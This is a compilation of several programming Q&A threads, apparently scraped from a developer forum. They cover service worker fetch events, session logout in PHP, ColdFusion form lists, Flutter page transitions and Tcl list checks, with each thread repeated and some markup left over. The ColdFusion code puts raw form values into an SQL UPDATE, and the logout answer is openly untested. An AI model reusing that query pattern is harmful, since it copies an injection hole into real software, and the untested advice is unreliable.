The differences between respondWith and waitUntil seem obvious at first, but the context is slightly different. If one uses respondWith, then waitUntil is implicit, i.e. can't respond until respondWith completes.

Originally I would bypass the Service worker and not use respondWith in some situations, but I guess then it doesnt know I am still figuring out whether to respond or not, and assumes the event is done. So if I wish to bypass the SW, I just return fetch(event.request), and use respondWith instead.

```<code>self.addEventListener("fetch", (event) => { event.respondWith(handleFetch2(event)) });

async function handleFetch2(event) {
    const response = await runFetch2(event);
    return response;
}

async function cachePut2(url, response) {
    const cache = await caches.open('my-cache');
    await cache.put(url, response)
}

async function runFetch2(event) {
    const response = await fetch(event.request.url);

    if (response.ok) {
        event.waitUntil(cachePut2(event.request.url, response.clone()));
    }
    return response
}
</code>```

Body:
I have read and think I understand:

What does event.waitUntil do in service worker and why is it needed?

Service worker error: event already responded to

The just of those answers is that event.waitUntil() must be called synchronously from the event handler. Which is what I am doing below (in fact it is the only line of the event handler):

The Error

Uncaught (in promise) DOMException: Failed to execute 'respondWith' on 'FetchEvent': The event handler is already finished.

Min reproducible example:

self.addEventListener("fetch", (event) => event.waitUntil(handleFetch(event)));

async function handleFetch(event) {
    const response = await runFetch(event);
    event.respondWith(response);  // <---- here the error is raised
}

async function runFetch(event) {
    const response = await fetch(event.request.url);

    if (response.ok) {
        // Don't await cachePut, allow the response to be returned immediately first.
        // Then later it will perform the cachePut promise. Use waitUntil so the Service worker is not killed until the cachePut promise resolves.
        event.waitUntil(cachePut(event.request.url, response.clone()));
    }
    return response
}

async function cachePut(url, response) {
    const cache = await caches.open('my-cache');
    await cache.put(url, response)
}

Note: It seems okay to call waitUntil multiple times (calling waitUntil in a nested sense for cachePut): MDN:

The waitUntil() method must be initially called within the event callback, but after that it can be called multiple times, until all the promises passed to it settle.

Body:
TLDR:
respondWith wait before ending the .event
waitUntil wait before killing the service worker.

The differences between respondWith and waitUntil seem obvious at first, but the context is slightly different. If one uses respondWith, then waitUntil is implicit, i.e. can't respond until respondWith completes.

Originally I would bypass the Service worker and not use respondWith in some situations, but I guess then it doesnt know I am still figuring out whether to respond or not, and assumes the event is done. So if I wish to bypass the SW, I just return fetch(event.request), and use respondWith instead.

self.addEventListener("fetch", (event) => { event.respondWith(handleFetch2(event)) });

async function handleFetch2(event) {
    const response = await runFetch2(event);
    return response;
}

async function cachePut2(url, response) {
    const cache = await caches.open('my-cache');
    await cache.put(url, response)
}

async function runFetch2(event) {
    const response = await fetch(event.request.url);

    if (response.ok) {
        event.waitUntil(cachePut2(event.request.url, response.clone()));
    }
    return response
}


问:
How Should I Implement Implicit Logouts?
My login system currently works as follows:

Grab the user's username and password from a POST form.

Check the username and salted + hashed password against the database.

If authentication is successful, generate a long, random, alphanumeric string.

Store this string in MySQL, as well as in a $_SESSION variable along with the username.

This is opposed to just putting the user's password in $_SESSION.  I feel like that's leaving the door wide open for spyware to come in and steal the user's credentials.

On each page that requires authentication (e.g. non-sensitive account settings, members-only areas, etc.), check the $_SESSION username and string against those stored in MySQL.

If they match, go ahead and show the page.  Otherwise, show a login form.(?)

When the user explicitly logs out, remove the random strings from MySQL and $_SESSION.

What I'm stuck on is how to handle when the user implicitly logs out.  That is, when he/she closes the browser window without hitting any "log out" button on the site.  I'm pretty sure I still need to remove the random string from MySQL, so someone can't use a stolen cookie to log in afterwards.  But how do I know when the user closes the browser window?

("Remember me" functionality is irrelevant for now.)

答:
You could use an ajax call on onclose event to kill the session... never tried it but it should work: </p>

```<code>$(window).unload( function () {
    // ajax to kill the session
} );
</code>```

Body:
You could use an ajax call on onclose event to kill the session... never tried it but it should work:

$(window).unload( function () {
    // ajax to kill the session
} );


问:
How do I process data in a list in cold fusion 10
I have a form that has 3 rows. A checkbox and two input field per row.
The field names are paid, amount and tranid.
If I tick the checkbox on the second row, and enter data into the other two fields and click submit I have the following;

Listlen is 1.
listgetat(form.paid,1) contains the value assigned to the check box.
the list for amount are 0.00,16.00,0.00
The list for tranid id are "",Test123,"" (nul, value, nul)

Therein is my problem. I can't loop through the list because listlen = 1 and listgetat(form.amount,1) returns 0.00 because the data is in the second list item.

I can't get the value from listgetat(form.paid,2) because I only selected one checkbox, so listgetat(form.paid,1) contains that value.

Clearly my understanding of working with lists is lacking.

This is a payment processing page, where the user selects which outstanding payments have been paid. They enter a bank transaction ID and how much was paid. The number of rows depends on how many payments are outstanding, in this test case there are three.

Can someone please explain how to process the list.

thank you.

The input page; Select only unpaid transactions:

```<code>    <cfquery name="unpaid" datasource="#Application.datasource#">
    select * from payments where pflag=0
    </cfquery>
</code>```

The input page; The three relevant fields;

```<code>    <cfif #unpaid.recordcount# gt 0>
            <cfoutput query="unpaid">
            <tr>
                <td><span class="pagetext">
                <input type="checkbox" name="paid" id="paid" value="#idpayments#" />
                </span></td>
            <td class="pagetext">#idpayments#</td>
                <input name="tranid" type="text" id="tranid" size="15" maxlength="40" /></td>
            <td align="right">
<span class="pagetext">$<input name="amount" type="text" id="amount" size="7" maxlength="7" value="#ap#" />
                </span></td>
            </tr>
            <cfset total=#total#+#ep#>
            </cfoutput>
        </cfif>
</code>```

The processing code..

```<code><cfloop from="1" to="#Listlen(FORM.amount)#" index="i">
    <cfif #ListGetAt(FORM.amount,i)# gt 0>
        <!--- update the payment --->
        <cfquery name="updtrec" datasource="#Application.datasource#">
            update payments set pflag=1,
            ap=#ListGetAt(FORM.amount,i)#,
            datepaid='#newdate#',
            <cfif #len(ListGetAt(FORM.tranid,i))# gt 0>,  ptranid=#ListGetAt(FORM.tranid,i)#</cfif>
            where idpayments=#ListGetAt(FORM.paid,i)#
        </cfquery>
    </cfif>
</cfloop>
</code>```

答:
<s>A description of the issue is helpful, but you should also include some code along with it. The absolute smallest amount of code needed to illustrate the issue, omitting any irrelevant stuff like css. Here's a good example for this question:

```<code><form ...>
    Row #1
    <input type="checkbox" name="paid" value="111">
    Amount <input type="text" name="amount">
    TransId <input type="text" name="transid">
    <br>
    Row #2
    <input type="checkbox" name="paid" value="222">
    Amount <input type="text" name="amount">
    TransId <input type="text" name="transid">
    <br>
    Row #3
    <input type="checkbox" name="paid" value="333">
    Amount <input type="text" name="amount">
    TransId <input type="text" name="transid">
</form>
</code>```
</s>

Clearly my understanding of working with lists is lacking.

The problem isn't your understanding of lists, but of how form fields are handled. The code mistakenly assumes all three form variables will always contain a list of three values. They won't. While same name'd fields get converted into a comma separated list when submitted, not all form fields submit a value and some values are effectively discarded:

A checkbox only submits a value IF it's checked

An enabled text field always submits a value, but that value may be an empty string. Historically, most list functionality in CF ignores empty strings

So the form variables aren't guaranteed to always contain a list of three values. It may be less if some of the text fields are empty or boxes aren't checked (form.paid won't even exist at all if none of the boxes are checked). That's why the list functions aren't working as you expected.

Assuming you have a unique numeric value like an "id" for each row, give all checkboxes the same name and use the numeric id as the checkbox value. Then use the numeric "id" as part of the associated text field names, in order to group each row of fields together

```<code>  <input type="checkbox" name="paid" value="111">
  <input type="text" name="amount_111">
  <input type="text" name="transid_111">
  ...
  <input type="checkbox" name="paid" value="222">
  <input type="text" name="amount_222">
  <input type="text" name="transid_222">
  ...
</code>```

When submitted, form.paid will contain a list of the selected id's. Loop through the list of id's and use the current "id" to extract the amount and transid values:

```<code>for (....) {
   amount = form["amount_"& currentId];
   transid = form["transid_"& currentId];
}
</code>```

Body:
I have a form that has 3 rows. A checkbox and two input field per row.
The field names are paid, amount and tranid.
If I tick the checkbox on the second row, and enter data into the other two fields and click submit I have the following;

Listlen is 1.
listgetat(form.paid,1) contains the value assigned to the check box.
the list for amount are 0.00,16.00,0.00
The list for tranid id are "",Test123,"" (nul, value, nul)

Therein is my problem. I can't loop through the list because listlen = 1 and listgetat(form.amount,1) returns 0.00 because the data is in the second list item.

I can't get the value from listgetat(form.paid,2) because I only selected one checkbox, so listgetat(form.paid,1) contains that value.

Clearly my understanding of working with lists is lacking.

This is a payment processing page, where the user selects which outstanding payments have been paid. They enter a bank transaction ID and how much was paid. The number of rows depends on how many payments are outstanding, in this test case there are three.

Can someone please explain how to process the list.

thank you.

The input page; Select only unpaid transactions:

    <cfquery name="unpaid" datasource="#Application.datasource#">
    select * from payments where pflag=0
    </cfquery>

The input page; The three relevant fields;

    <cfif #unpaid.recordcount# gt 0>
            <cfoutput query="unpaid">

                <input type="checkbox" name="paid" id="paid" value="#idpayments#" />

            #idpayments#
                <input name="tranid" type="text" id="tranid" size="15" maxlength="40" />

$<input name="amount" type="text" id="amount" size="7" maxlength="7" value="#ap#" />

            <cfset total=#total#+#ep#>
            </cfoutput>
        </cfif>

The processing code..

<cfloop from="1" to="#Listlen(FORM.amount)#" index="i">
    <cfif #ListGetAt(FORM.amount,i)# gt 0>

        <cfquery name="updtrec" datasource="#Application.datasource#">
            update payments set pflag=1,
            ap=#ListGetAt(FORM.amount,i)#,
            datepaid='#newdate#',
            <cfif #len(ListGetAt(FORM.tranid,i))# gt 0>,  ptranid=#ListGetAt(FORM.tranid,i)#</cfif>
            where idpayments=#ListGetAt(FORM.paid,i)#
        </cfquery>
    </cfif>
</cfloop>

Body:
<s>A description of the issue is helpful, but you should also include some code along with it. The absolute smallest amount of code needed to illustrate the issue, omitting any irrelevant stuff like css. Here's a good example for this question:

<form ...>
    Row #1
    <input type="checkbox" name="paid" value="111">
    Amount <input type="text" name="amount">
    TransId <input type="text" name="transid">
    <br>
    Row #2
    <input type="checkbox" name="paid" value="222">
    Amount <input type="text" name="amount">
    TransId <input type="text" name="transid">
    <br>
    Row #3
    <input type="checkbox" name="paid" value="333">
    Amount <input type="text" name="amount">
    TransId <input type="text" name="transid">
</form>

</s>

Clearly my understanding of working with lists is lacking.

The problem isn't your understanding of lists, but of how form fields are handled. The code mistakenly assumes all three form variables will always contain a list of three values. They won't. While same name'd fields get converted into a comma separated list when submitted, not all form fields submit a value and some values are effectively discarded:

A checkbox only submits a value IF it's checked

An enabled text field always submits a value, but that value may be an empty string. Historically, most list functionality in CF ignores empty strings

So the form variables aren't guaranteed to always contain a list of three values. It may be less if some of the text fields are empty or boxes aren't checked (form.paid won't even exist at all if none of the boxes are checked). That's why the list functions aren't working as you expected.

Assuming you have a unique numeric value like an "id" for each row, give all checkboxes the same name and use the numeric id as the checkbox value. Then use the numeric "id" as part of the associated text field names, in order to group each row of fields together

  <input type="checkbox" name="paid" value="111">
  <input type="text" name="amount_111">
  <input type="text" name="transid_111">
  ...
  <input type="checkbox" name="paid" value="222">
  <input type="text" name="amount_222">
  <input type="text" name="transid_222">
  ...

When submitted, form.paid will contain a list of the selected id's. Loop through the list of id's and use the current "id" to extract the amount and transid values:

for (....) {
   amount = form["amount_"& currentId];
   transid = form["transid_"& currentId];
}


问:
Flutter PageTransitionSwitcher is not working
I want to add an animation when transitioning from user's profile page to the previous page. so I used PageTransitionSwitcher as already I'm using animations package for another purpose in the app.This is how I implemented it inside the back button of the page.When I click on back button it is not working.</p>
```<code>onPress: () => {

                    PageTransitionSwitcher(
                      transitionBuilder: (child, animation, secondaryAnimation) =>
                          SharedAxisTransition(animation: animation, secondaryAnimation: secondaryAnimation,
                              transitionType: SharedAxisTransitionType.horizontal),
                      child: NewMainTabs(),
                    )
                },
</code>```

答:
you can use this function to build the route.

import 'package:animations/animations.dart';
import 'package:flutter/material.dart';

Route buildSharedZAxisTransitionPageRoute(Widget Function(BuildContext) builder,{RouteSettings? settings}) {
  return PageRouteBuilder(
      settings: settings,
      pageBuilder: (context, animation, secondaryAnimation) => builder(context),
      transitionsBuilder: (context, animation, secondaryAnimation, child) {
        return SharedAxisTransition(
          fillColor: Theme.of(context).cardColor,
          animation: animation,
          secondaryAnimation: secondaryAnimation,
          transitionType: SharedAxisTransitionType.scaled,
          child: child,
        );
      });
    }```
</div>
</div>
</p>
<p>Then you can call upper  function to create your route and push it into navigator or just rebuild with another widget</p>
```Widget build(BuildContext context) {
return PageTransitionSwitcher(
  transitionBuilder: (
    Widget child,
    Animation<double> primaryAnimation,
    Animation<double> secondaryAnimation,
  ) {
    return FadeThroughTransition(
      child: child,
      animation: primaryAnimation,
      secondaryAnimation: secondaryAnimation,
    );
  },
  child: MyWidget(),
);
```
<p>or</p>
```Navigator.of(context, rootNavigator: true).push(
          buildSharedZAxisTransitionPageRoute(
              (_) => const MyWidget())
```

Body:
I want to add an animation when transitioning from user's profile page to the previous page. so I used PageTransitionSwitcher as already I'm using animations package for another purpose in the app.This is how I implemented it inside the back button of the page.When I click on back button it is not working.

onPress: () => {

                    PageTransitionSwitcher(
                      transitionBuilder: (child, animation, secondaryAnimation) =>
                          SharedAxisTransition(animation: animation, secondaryAnimation: secondaryAnimation,
                              transitionType: SharedAxisTransitionType.horizontal),
                      child: NewMainTabs(),
                    )
                },

Body:
you can use this function to build the route.

import 'package:animations/animations.dart';
import 'package:flutter/material.dart';

Route buildSharedZAxisTransitionPageRoute(Widget Function(BuildContext) builder,{RouteSettings? settings}) {
  return PageRouteBuilder(
      settings: settings,
      pageBuilder: (context, animation, secondaryAnimation) => builder(context),
      transitionsBuilder: (context, animation, secondaryAnimation, child) {
        return SharedAxisTransition(
          fillColor: Theme.of(context).cardColor,
          animation: animation,
          secondaryAnimation: secondaryAnimation,
          transitionType: SharedAxisTransitionType.scaled,
          child: child,
        );
      });
    }

Then you can call upper  function to create your route and push it into navigator or just rebuild with another widget

Widget build(BuildContext context) {
return PageTransitionSwitcher(
  transitionBuilder: (
    Widget child,
    Animation<double> primaryAnimation,
    Animation<double> secondaryAnimation,
  ) {
    return FadeThroughTransition(
      child: child,
      animation: primaryAnimation,
      secondaryAnimation: secondaryAnimation,
    );
  },
  child: MyWidget(),
);

or

Navigator.of(context, rootNavigator: true).push(
          buildSharedZAxisTransitionPageRoute(
              (_) => const MyWidget())


问:
Tcl: best way to test for empty list
Sorry, that's a very trivial question, but it seems to be so trivial that I can't find any recommendation: What is the best way in Tcl to test whether a list is empty? I would go for if {$myList eq ""} ..., or is there a better way? Thanks for your help!

答:
If you know you have a list (because you've made it that way or are using other operations that treat the value as such), the best empty check is looking at the llength of it to see if it is zero. I usually prefer to use the result as if it was boolean, like this, but comparing to zero also works just fine.

```<code>if {[llength $theList]} {
    puts "the list is NOT empty"
} else {
    puts "the list IS empty"
}
</code>```

Yes, this will incur the cost of converting the value to a list, but that conversion is cached within the value itself (this is a type of “internal representation”) so the next operation to use it as a list is then much faster as it doesn't have to reparse anything.

Title: Tcl: best way to test for empty list

Body:
If you know you have a list (because you've made it that way or are using other operations that treat the value as such), the best empty check is looking at the llength of it to see if it is zero. I usually prefer to use the result as if it was boolean, like this, but comparing to zero also works just fine.

if {[llength $theList]} {
    puts "the list is NOT empty"
} else {
    puts "the list IS empty"
}

Yes, this will incur the cost of converting the value to a list, but that conversion is cached within the value itself (this is a type of “internal representation”) so the next operation to use it as a list is then much faster as it doesn't have to reparse anything.